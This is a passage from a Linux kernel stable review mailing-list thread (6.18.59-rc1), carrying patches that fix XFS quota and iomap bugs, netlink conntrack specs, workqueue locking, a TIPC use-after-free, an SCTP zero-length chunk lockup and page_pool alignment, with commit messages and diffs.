+ xfs_buf_lock(mp->m_rtsb_bp);
+ error = xfs_bwrite(mp->m_rtsb_bp);
+ xfs_buf_unlock(mp->m_rtsb_bp);
+ }
+
return error;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 130/193] xfs: fix capability check in xfs
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (128 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 129/193] xfs: dont hold buffer locks across sync transaction commit in xfs_sync_sb_buf Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 131/193] xfs: fix zoned write iomap flags assignments Greg Kroah-Hartman
` (73 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dr. Thomas Orgis, Carlos Maiolino,
Darrick J. Wong, Serge Hallyn, Christoph Hellwig, Carlos Maiolino
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Carlos Maiolino <cem@kernel.org>
commit e2f62a9744ebad3bcb6347a648e615026e9efeff upstream.
An user reported a bug where he managed to evade group's quota
by changing a file's gid to a different group id the same user
belonged to, even though quotas were enforced on both gids and the
file's size was big enough to exceed the quota's hardlimit.
Commit eba0549bc7d1 replaced a capable() call by a
has_capability_noaudit() to prevent unnecessary selinux audit messages.
Turns out that both calls have slightly different semantics even though
their documentation seems similar. Where in a nutshell:
capable() - Tests the task's effective credentials
has_ns_capability_noaudit() - Tests the task's real credentials
This most of the time has no practical difference but in some cases like
changing attrs (specifically group id in this case) through a NFS client
this will allow the quota code to use XFS_QMOPT_FORCE_RES, effectively
bypassing quota accounting checks.
Using instead ns_capable_noaudit() should fix this issue and prevent
selinux audit messages.
This also fix the remaining calls to has_capability_noaudit()
Fixes: eba0549bc7d1 ("xfs: don't generate selinux audit messages for capability testing")
Cc: stable@vger.kernel.org # v5.18
Reported-by: Dr. Thomas Orgis <thomas.orgis@uni-hamburg.de>
Signed-off-by: Carlos Maiolino <cmaiolino@redhat.com>
Reviewed-by: Darrick J. Wong <djwong@kernel.org>
Reviewed-by: Serge Hallyn <sergeh@kernel.org>
Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Carlos Maiolino <cem@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/xfs/xfs_fsmap.c | 2 +-
fs/xfs/xfs_ioctl.c | 2 +-
fs/xfs/xfs_iops.c | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
--- a/fs/xfs/xfs_fsmap.c
+++ b/fs/xfs/xfs_fsmap.c
@@ -1175,7 +1175,7 @@ xfs_getfsmap(
return -EINVAL;
use_rmap = xfs_has_rmapbt(mp) &&
- has_capability_noaudit(current, CAP_SYS_ADMIN);
+ ns_capable_noaudit(&init_user_ns, CAP_SYS_ADMIN);
head->fmh_entries = 0;
/* Set up our device handlers. */
--- a/fs/xfs/xfs_ioctl.c
+++ b/fs/xfs/xfs_ioctl.c
@@ -619,7 +619,7 @@ xfs_ioctl_setattr_get_trans(
goto out_error;
error = xfs_trans_alloc_ichange(ip, NULL, NULL, pdqp,
- has_capability_noaudit(current, CAP_FOWNER), &tp);
+ ns_capable_noaudit(&init_user_ns, CAP_FOWNER), &tp);
if (error)
goto out_error;
--- a/fs/xfs/xfs_iops.c
+++ b/fs/xfs/xfs_iops.c
@@ -835,7 +835,7 @@ xfs_setattr_nonsize(
}
error = xfs_trans_alloc_ichange(ip, udqp, gdqp, NULL,
- has_capability_noaudit(current, CAP_FOWNER), &tp);
+ ns_capable_noaudit(&init_user_ns, CAP_FOWNER), &tp);
if (error)
goto out_dqrele;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 131/193] xfs: fix zoned write iomap flags assignments
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (129 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 130/193] xfs: fix capability check in xfs Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 132/193] netlink: specs: fix the conntrack filter type Greg Kroah-Hartman
` (72 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christoph Hellwig,
Andrey Albershteyn, Darrick J. Wong, Hans Holmberg,
Damien Le Moal, Carlos Maiolino
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christoph Hellwig <hch@lst.de>
commit 4bc67fc800edcaae8a657e4d2fba12e64e856b9f upstream.
Don't overwrite IOMAP_F_DIRTY with IOMAP_F_ANON_WRITE, but ensure both
flags are set instead.
Note that in practice this is harmless as all zoned writes force a metadata
transaction anyway, but incorrectly assigned flags are still a landmine
that will cause problems at some point.
Fixes: 058dd70c65ab ("xfs: implement buffered writes to zoned RT devices")
Fixes: 2e2383405824 ("xfs: implement direct writes to zoned RT devices")
Cc: stable@vger.kernel.org # v6.15
Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Andrey Albershteyn <aalbersh@kernel.org>
Reviewed-by: Darrick J. Wong <djwong@kernel.org>
Reviewed-by: Hans Holmberg <hans.holmberg@wdc.com>
Reviewed-by: Damien Le Moal <dlemoal@kernel.org>
Signed-off-by: Carlos Maiolino <cem@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/xfs/xfs_aops.c | 3 +--
fs/xfs/xfs_iomap.c | 3 +--
2 files changed, 2 insertions(+), 4 deletions(-)
--- a/fs/xfs/xfs_aops.c
+++ b/fs/xfs/xfs_aops.c
@@ -616,11 +616,10 @@ xfs_zoned_map_blocks(
xfs_iunlock(ip, XFS_ILOCK_EXCL);
wpc->iomap.type = IOMAP_MAPPED;
- wpc->iomap.flags = IOMAP_F_DIRTY;
wpc->iomap.bdev = mp->m_rtdev_targp->bt_bdev;
wpc->iomap.offset = offset;
wpc->iomap.length = XFS_FSB_TO_B(mp, count_fsb);
- wpc->iomap.flags = IOMAP_F_ANON_WRITE;
+ wpc->iomap.flags = IOMAP_F_ANON_WRITE | IOMAP_F_DIRTY;
trace_xfs_zoned_map_blocks(ip, offset, wpc->iomap.length);
return 0;
--- a/fs/xfs/xfs_iomap.c
+++ b/fs/xfs/xfs_iomap.c
@@ -1078,11 +1078,10 @@ xfs_zoned_direct_write_iomap_begin(
}
iomap->type = IOMAP_MAPPED;
- iomap->flags = IOMAP_F_DIRTY;
iomap->bdev = ip->i_mount->m_rtdev_targp->bt_bdev;
iomap->offset = offset;
iomap->length = length;
- iomap->flags = IOMAP_F_ANON_WRITE;
+ iomap->flags = IOMAP_F_ANON_WRITE | IOMAP_F_DIRTY;
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 132/193] netlink: specs: fix the conntrack filter type
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (130 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 131/193] xfs: fix zoned write iomap flags assignments Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 133/193] netlink: specs: add missing mask attributes for conntrack dump Greg Kroah-Hartman
` (71 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ilya Maximets,
Asbjørn Sloth Tønnesen, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ilya Maximets <i.maximets@ovn.org>
commit 2a004bfb62bdb847f25a8001e104bf33922a2cf4 upstream.
The CTA_FILTER doesn't contain nested tuple attributes, instead it
contains bit masks that specify which tuple attributes to filter on.
The values for filtering are taken from the top-level CTA_TUPLE_ORIG
and CTA_TUPLE_REPLY, which are also missing in the attribute list
for the dump request.
The bits themselves somehow are not in the public headers, so not
defining them in the spec either for now. Once they are public in
uAPI, they can be added here with enum-as-flags.
Fixes: 23fc9311a526 ("netlink: specs: add conntrack dump and stats dump support")
Cc: stable@vger.kernel.org
Signed-off-by: Ilya Maximets <i.maximets@ovn.org>
Reviewed-by: Asbjørn Sloth Tønnesen <ast@fiberby.net>
Link: https://patch.msgid.link/20260826220444.4054714-2-i.maximets@ovn.org
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
Documentation/netlink/specs/conntrack.yaml | 15 ++++++++++++++-
1 file changed, 14 insertions(+), 1 deletion(-)
--- a/Documentation/netlink/specs/conntrack.yaml
+++ b/Documentation/netlink/specs/conntrack.yaml
@@ -361,6 +361,17 @@ attribute-sets:
type: u32
byte-order: big-endian
-
+ name: filter-attrs
+ attributes:
+ -
+ name: orig-flags
+ type: u32
+ doc: bitmask of tuple fields to filter on, original direction
+ -
+ name: reply-flags
+ type: u32
+ doc: bitmask of tuple fields to filter on, reply direction
+ -
name: conntrack-attrs
attributes:
-
@@ -466,7 +477,7 @@ attribute-sets:
-
name: filter
type: nest
- nested-attributes: tuple-attrs
+ nested-attributes: filter-attrs
-
name: status-mask
type: u32
@@ -591,6 +602,8 @@ operations:
request:
value: 0x101
attributes:
+ - tuple-orig
+ - tuple-reply
- mark
- filter
- status
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 133/193] netlink: specs: add missing mask attributes for conntrack dump
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (131 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 132/193] netlink: specs: fix the conntrack filter type Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 134/193] workqueue: Use raise_softirq() to trigger softirq in irq_work handler Greg Kroah-Hartman
` (70 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ilya Maximets,
Asbjørn Sloth Tønnesen, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ilya Maximets <i.maximets@ovn.org>
commit 8b348496cbec0d5ca24a99f668096e2e16e8fbeb upstream.
'mark-mask' and 'status-mask' are defined and supported by the
conntrack dump, but missing from the list of arguments.
While at it, the order of the arguments should follow the order of
their definition in the enum ctattr_type. That appears to be a common
convention for other spec files.
Fixes: 23fc9311a526 ("netlink: specs: add conntrack dump and stats dump support")
Cc: stable@vger.kernel.org
Signed-off-by: Ilya Maximets <i.maximets@ovn.org>
Reviewed-by: Asbjørn Sloth Tønnesen <ast@fiberby.net>
Link: https://patch.msgid.link/20260826220444.4054714-3-i.maximets@ovn.org
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
Documentation/netlink/specs/conntrack.yaml | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
diff --git a/Documentation/netlink/specs/conntrack.yaml b/Documentation/netlink/specs/conntrack.yaml
index 6ba28cb1c2ab..b1eb102ab843 100644
--- a/Documentation/netlink/specs/conntrack.yaml
+++ b/Documentation/netlink/specs/conntrack.yaml
@@ -604,10 +604,12 @@ operations:
attributes:
- tuple-orig
- tuple-reply
- - mark
- - filter
- status
+ - mark
- zone
+ - mark-mask
+ - filter
+ - status-mask
reply:
value: 0x100
attributes:
--
2.56.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 134/193] workqueue: Use raise_softirq() to trigger softirq in irq_work handler
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (132 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 133/193] netlink: specs: add missing mask attributes for conntrack dump Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 135/193] workqueue: Annotate cb_lock nesting when draining a dead BH pool Greg Kroah-Hartman
` (69 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Zqiang, Tejun Heo
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Zqiang <qiang.zhang@linux.dev>
commit 7e2f2a377ac9f50296ad60bd331f0d4def7aee51 upstream.
bh_pool_kick_normal() and bh_pool_kick_highpri() are registered via
init_irq_work() without the IRQ_WORK_HARD_IRQ flag. On PREEMPT_RT, such
irq_work items are processed by the per-CPU irq_workd kthread in preemptible
task context with IRQs enabled. However, raise_softirq_irqoff() requires
IRQs to be disabled. Calling it from irq_workd trips the lockdep assertion
in __raise_softirq_irqoff() and the non-atomic update of the softirq pending
mask can lose bits raised by an interrupt on the same CPU. Replace
raise_softirq_irqoff() with raise_softirq() in the irq_work handlers.
Fixes: 2f34d7337d98 ("workqueue: Fix queue_work_on() with BH workqueues")
Cc: stable@vger.kernel.org # v6.9+
Signed-off-by: Zqiang <qiang.zhang@linux.dev>
Signed-off-by: Tejun Heo <tj@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -7808,12 +7808,12 @@ static inline void wq_watchdog_init(void
static void bh_pool_kick_normal(struct irq_work *irq_work)
{
- raise_softirq_irqoff(TASKLET_SOFTIRQ);
+ raise_softirq(TASKLET_SOFTIRQ);
}
static void bh_pool_kick_highpri(struct irq_work *irq_work)
{
- raise_softirq_irqoff(HI_SOFTIRQ);
+ raise_softirq(HI_SOFTIRQ);
}
static void __init restrict_unbound_cpumask(const char *name, const struct cpumask *mask)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 135/193] workqueue: Annotate cb_lock nesting when draining a dead BH pool
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (133 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 134/193] workqueue: Use raise_softirq() to trigger softirq in irq_work handler Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 136/193] tipc: protect node reset trace dump with node lock Greg Kroah-Hartman
` (68 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tejun Heo,
syzbot+1bd20115328f8254ed62
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
commit 6eca8f94d84106d3754b9df27f46a14572af9e7f upstream.
On PREEMPT_RT, bh_worker() wraps work item execution in pool->cb_lock to
provide a handshake for canceling BH work items. When a CPU goes down,
drain_dead_softirq_workfn() runs the dead pool's bh_worker() nested inside
the local pool's bh_worker(), acquiring the cb_locks of two different pools
without a nesting annotation. lockdep reports possible recursive locking:
============================================
WARNING: possible recursive locking detected
--------------------------------------------
ktimers/0/16 is trying to acquire lock:
ffff8880b873a990 (&pool->cb_lock){+...}-{3:3}, at: bh_worker+0x7d/0x880
but task is already holding lock:
ffff8880b863a990 (&pool->cb_lock){+...}-{3:3}, at: bh_worker+0x7d/0x880
Call Trace:
bh_worker+0x7d/0x880 kernel/workqueue.c:3688
drain_dead_softirq_workfn+0x95/0x220 kernel/workqueue.c:3763
process_scheduled_works+0xa8e/0x14e0 kernel/workqueue.c:3405
bh_worker+0x46a/0x880 kernel/workqueue.c:3708
tasklet_action+0xc/0x70 kernel/softirq.c:965
The nesting can't deadlock. A pool's bh_worker() runs nested only while the
pool's CPU is dead, entered from a live pool's bh_worker() on the draining
CPU, so the ordering is always live to dead. CPU hotplug operations are
serialized and the drain is synchronous, so the nesting depth never exceeds
two. Annotate the inner acquisition with SINGLE_DEPTH_NESTING.
Signed-off-by: Tejun Heo <tj@kernel.org>
Reported-by: syzbot+1bd20115328f8254ed62@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=1bd20115328f8254ed62
Fixes: ad7c7f4b9c6c ("workqueue: Provide a handshake for canceling BH workers")
Cc: stable@vger.kernel.org # v6.18+
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/workqueue.c | 11 ++++++++++-
1 file changed, 10 insertions(+), 1 deletion(-)
--- a/kernel/workqueue.c
+++ b/kernel/workqueue.c
@@ -3115,7 +3115,16 @@ restart:
#ifdef CONFIG_PREEMPT_RT
static void worker_lock_callback(struct worker_pool *pool)
{
- spin_lock(&pool->cb_lock);
+ /*
+ * SINGLE_DEPTH_NESTING is for a dead pool's bh_worker() running from
+ * drain_dead_softirq_workfn() inside a live pool's bh_worker(). The
+ * unlocked read is stable: the flag is only set while @pool's CPU is
+ * dead, inside a serialized hotplug operation. data_race() as the value
+ * only affects the lockdep annotation and the read can be elided when
+ * lockdep is disabled.
+ */
+ spin_lock_nested(&pool->cb_lock,
+ data_race(pool->flags) & POOL_BH_DRAINING ? SINGLE_DEPTH_NESTING : 0);
}
static void worker_unlock_callback(struct worker_pool *pool)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 136/193] tipc: protect node reset trace dump with node lock
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (134 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 135/193] workqueue: Annotate cb_lock nesting when draining a dead BH pool Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 137/193] sctp: validate chunk length in the inqueue parser Greg Kroah-Hartman
` (67 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Chengfeng Ye, Tung Nguyen,
Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Chengfeng Ye <nicoyip.dev@gmail.com>
commit dddf197f29ba5e47a476dde82bf542ca2e0d5e5e upstream.
The tipc_node_reset_links trace event asks tipc_node_dump() to walk the
node's link entries. Unlike the other node events that request link data,
this event runs without the node lock.
This permits bearer teardown to free a link while the trace callback is
dumping it:
CPU 0 CPU 1
trace_tipc_node_reset_links()
tipc_node_dump()
l = n->links[0].link
tipc_node_write_lock()
kfree(l)
n->links[0].link = NULL
tipc_node_write_unlock()
tipc_link_dump(l)
tipc_link_dump() then dereferences the stale pointer. KASAN reported:
BUG: KASAN: slab-use-after-free in tipc_link_dump
Read of size 4 by task poc/115
Call Trace:
tipc_link_dump+0x10cb/0x16b0
tipc_node_dump+0x4bb/0x740
trace_event_raw_event_tipc_node_class+0x258/0x360
tipc_node_reset_links+0x14d/0x1a0
tipc_rcv+0x13f5/0x3030
tipc_udp_recv+0x4e3/0x670
Allocated by task 0:
tipc_link_create+0x1e1/0x1020
tipc_node_check_dest+0x7d2/0x11a0
tipc_disc_rcv+0xdbf/0x1430
Freed by task 89:
kfree+0x131/0x3c0
tipc_node_link_down+0x267/0x4b0
tipc_node_delete_links+0xec/0x160
bearer_disable+0x107/0x260
Take the node write lock around the trace event. This serializes the
dump against tipc_node_link_down(delete=true), which frees the link
under the same write lock.
Fixes: eb18a510b5cd ("tipc: add trace_events for tipc node")
Cc: stable@vger.kernel.org
Signed-off-by: Chengfeng Ye <nicoyip.dev@gmail.com>
Reviewed-by: Tung Nguyen <tung.quang.nguyen@est.tech>
Link: https://patch.msgid.link/20260825190141.242219-1-nicoyip.dev@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/tipc/node.c | 2 ++
1 file changed, 2 insertions(+)
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -1333,7 +1333,9 @@ static void tipc_node_reset_links(struct
pr_warn("Resetting all links to %x\n", n->addr);
+ tipc_node_write_lock(n);
trace_tipc_node_reset_links(n, true, " ");
+ tipc_node_write_unlock_fast(n);
for (i = 0; i < MAX_BEARERS; i++) {
tipc_node_link_down(n, i, false);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 137/193] sctp: validate chunk length in the inqueue parser
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (135 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 136/193] tipc: protect node reset trace dump with node lock Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 138/193] page_pool: keep frag_offset aligned for odd-sized requests Greg Kroah-Hartman
` (66 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Charles Vosburgh, Xin Long,
Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Charles Vosburgh <theminershive@gmail.com>
commit 6cfc1b90cb86f4aabc69fb8e30128e07e2cdfa3a upstream.
SCTP chunks always include a four-byte generic header, but
sctp_inq_pop() currently accepts shorter declared lengths. A zero-length
chunk leaves chunk_end at the current header.
When ASCONF is covered by the association's SCTP-AUTH policy,
sctp_assoc_bh_rcv() can continue before the state machine performs its
normal chunk-length check. sctp_inq_pop() then returns the same malformed
chunk repeatedly and the receive softirq can lock up.
A remote SCTP peer can trigger this after establishing an association on
a kernel built with CONFIG_IP_SCTP and configured with
net.sctp.addip_enable=1 and net.sctp.auth_enable=1. The reproducer did
not require application credentials, a shared SCTP AUTH key, or
net.sctp.addip_noauth_enable=1.
On commit f967455fb2a5 ("seg6: reset IP6CB after IPv6 decapsulation"),
one zero-length ASCONF caused repeated
watchdog soft-lockup reports in a two-vCPU KVM guest. All 3 pre-trigger
health probes succeeded, while 36 of 37 post-trigger probes failed. With
this change, all 37 post-trigger probes succeeded and no equivalent
soft-lockup signature appeared.
Reject chunks shorter than the generic SCTP header at the shared inqueue
parser boundary. Mark the packet for discard before either caller can
continue processing it, while preserving the four-byte generic minimum.
Declared-length 1 through 4 controls and kernel-generated ASCONF traffic
remained healthy. The patched sctp_hello selftest passed for IPv4 and
IPv6.
The complete private reproducer and validation evidence are available
directly to maintainers on request.
Fixes: bbd0d59809f9 ("[SCTP]: Implement the receive and verification of AUTH chunk")
Cc: stable@vger.kernel.org
Signed-off-by: Charles Vosburgh <theminershive@gmail.com>
Acked-by: Xin Long <lucien.xin@gmail.com>
Link: https://patch.msgid.link/20260827-sctp-zero-chunk-inqueue-v2-1-2e7669c6a6cb@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sctp/inqueue.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)
--- a/net/sctp/inqueue.c
+++ b/net/sctp/inqueue.c
@@ -212,8 +212,10 @@ new_skb:
chunk->chunk_end = ((__u8 *)ch) + SCTP_PAD4(ntohs(ch->length));
skb_pull(chunk->skb, sizeof(*ch));
chunk->subh.v = NULL; /* Subheader is no longer valid. */
-
- if (chunk->chunk_end + sizeof(*ch) <= skb_tail_pointer(chunk->skb)) {
+ if (unlikely(ntohs(ch->length) < sizeof(*ch))) {
+ chunk->pdiscard = 1;
+ } else if (chunk->chunk_end + sizeof(*ch) <=
+ skb_tail_pointer(chunk->skb)) {
/* This is not a singleton */
chunk->singleton = 0;
} else if (chunk->chunk_end > skb_tail_pointer(chunk->skb)) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 138/193] page_pool: keep frag_offset aligned for odd-sized requests
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (136 preceding siblings ...)
2026-10-23 16:36 ` [PATCH 6.18 137/193] sctp: validate chunk length in the inqueue parser Greg Kroah-Hartman
@ 2026-10-23 16:36 ` Greg Kroah-Hartman
2026-10-23 16:36 ` [PATCH 6.18 139/193] s390/ctcm: Prevent XID null dereference Greg Kroah-Hartman
` (65 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:36 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Florian Schauer,
Jesper Dangaard Brouer, Eric Dumazet, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Florian Schauer <florian@schauer.to>
commit dc0df5a0c62ccea1d0e08d39a4dc9064de81d411 upstream.
page_pool_alloc_frag_netmem() rounds the requested fragment size with
size = ALIGN(size, dma_get_cache_alignment());
dma_get_cache_alignment() returns 1 unless the architecture defines
ARCH_DMA_MINALIGN, which DMA-coherent architectures such as x86 do not.
There the ALIGN() is a no-op and pool->frag_offset advances by the raw,
unrounded size.
A single caller asking for an odd size then leaves frag_offset misaligned
for every fragment carved out of that page afterwards. The pool is shared,
so the damage is not confined to the caller that caused it.
The per-cpu system_page_pool used by generic XDP hits this.
skb_pp_cow_data() allocates its fragments with the raw packet length:
size = min_t(u32, len, PAGE_SIZE);
truesize = size;
page = page_pool_dev_alloc(pool, &page_off, &truesize);
leaving frag_offset odd for whatever is carved out of that page next. Its
own head allocation is already aligned -- SKB_HEAD_ALIGN(size) plus the
XDP_PACKET_HEADROOM its callers pass -- so it is a later user of the shared
pool that pays: page_pool_dev_alloc_va() returns a misaligned buffer,
napi_build_skb() installs it as skb->head, and skb_shinfo(skb) ==
skb->head + skb->end is misaligned with it.
skb_shinfo()->dataref is a 4-byte atomic_t at offset 0x20, so the
atomic_inc() in __skb_clone() straddles a cache line. On x86 with split
lock detection -- fatal for kernel split locks by default -- this panics
the machine:
Oops: Split lock detected
RIP: 0010:skb_clone+0x154/0x1e0
Call Trace:
<IRQ>
raw_local_deliver+0x1ed/0x2c0
ip_protocol_deliver_rcu+0x54/0x1c0
ip_local_deliver_finish+0x85/0x100
ip_local_deliver+0x67/0x100
__netif_receive_skb_one_core+0x85/0xa0
process_backlog+0x87/0x130
Reproduced by attaching any generic-mode XDP program to loopback and
opening a RAW IPPROTO_UDP socket, which makes raw_local_deliver() clone
every locally delivered UDP packet; ordinary DNS traffic then triggers it,
roughly once per 2500 clones. Observed on 6.12.101 and 7.1.8.
Tracing page_pool_alloc_frag_netmem() over one such run shows the
amplification -- two odd-sized requests, nine misaligned offsets:
requested size & 7: 0: 17035 5: 1 7: 1
frag_offset & 7: 0: 17028 3: 1 4: 1 5: 1 6: 1 7: 5
and skb_pp_cow_data() returning heads that were aligned on entry:
head 0xffff8f4c86aeac00 -> 0xffff8f4c53a9a9c4 (&7=4)
head 0xffff8f4d6a8a42c0 -> 0xffff8f4c4f7b7a45 (&7=5)
Round the fragment size up to at least the alignment struct skb_shared_info
requires, so fragments are always suitably aligned for the objects callers
build on them. Architectures needing a larger DMA alignment keep it.
This also makes the remainder computed in page_pool_alloc_netmem(),
*size = max_size - *offset;
aligned, since max_size is a power of two -- which fixes the matching
misalignment of skb->end.
Verified with a controlled A/B under QEMU/KVM: same tree, same config,
same compiler, same rootfs and identical traffic, differing only by this
patch. A SEC("xdp.frags") XDP_PASS program on lo plus UDP datagrams
larger than max_head_size drives skb_pp_cow_data()'s fragment loop, which
passes raw packet lengths to the pool. Measured at the return of
skb_pp_cow_data():
unpatched patched
skb_pp_cow_data calls 40800 40800
misaligned skb->head 1120 0
dataref at line offset >60 80 0
The last row counts the accesses that actually fault:
skb_shinfo()->dataref sits at head+end+0x20 and is a 4-byte atomic, so
`lock incl` splits a 64-byte cache line only when that address lands at
offset 61..63. All 80 occurrences were at offset 61; the panic reported
above was at offset 62. Eliminating the misalignment removes every one
of them.
Same class of bug as commit 3bed3cc4156e ("net: Do not allocate page
fragments that are not skb aligned"), which fixed the older
netdev_alloc_frag()/napi_alloc_frag() allocators.
Fixes: 53e0961da1c7 ("page_pool: add frag page recycling support in page pool")
Cc: stable@vger.kernel.org
Signed-off-by: Florian Schauer <florian@schauer.to>
Acked-by: Jesper Dangaard Brouer <hawk@kernel.org>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Link: https://patch.msgid.link/20260828060822.2628276-1-florian@schauer.to
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/core/page_pool.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
--- a/net/core/page_pool.c
+++ b/net/core/page_pool.c
@@ -1071,7 +1071,8 @@ netmem_ref page_pool_alloc_frag_netmem(s
if (WARN_ON(size > max_size))
return 0;
- size = ALIGN(size, dma_get_cache_alignment());
+ size = ALIGN(size, max_t(unsigned int, dma_get_cache_alignment(),
+ __alignof__(struct skb_shared_info)));
*offset = pool->frag_offset;
if (netmem && *offset + size > max_size) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 139/193] s390/ctcm: Prevent XID null dereference
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (137 preceding siblings ...)
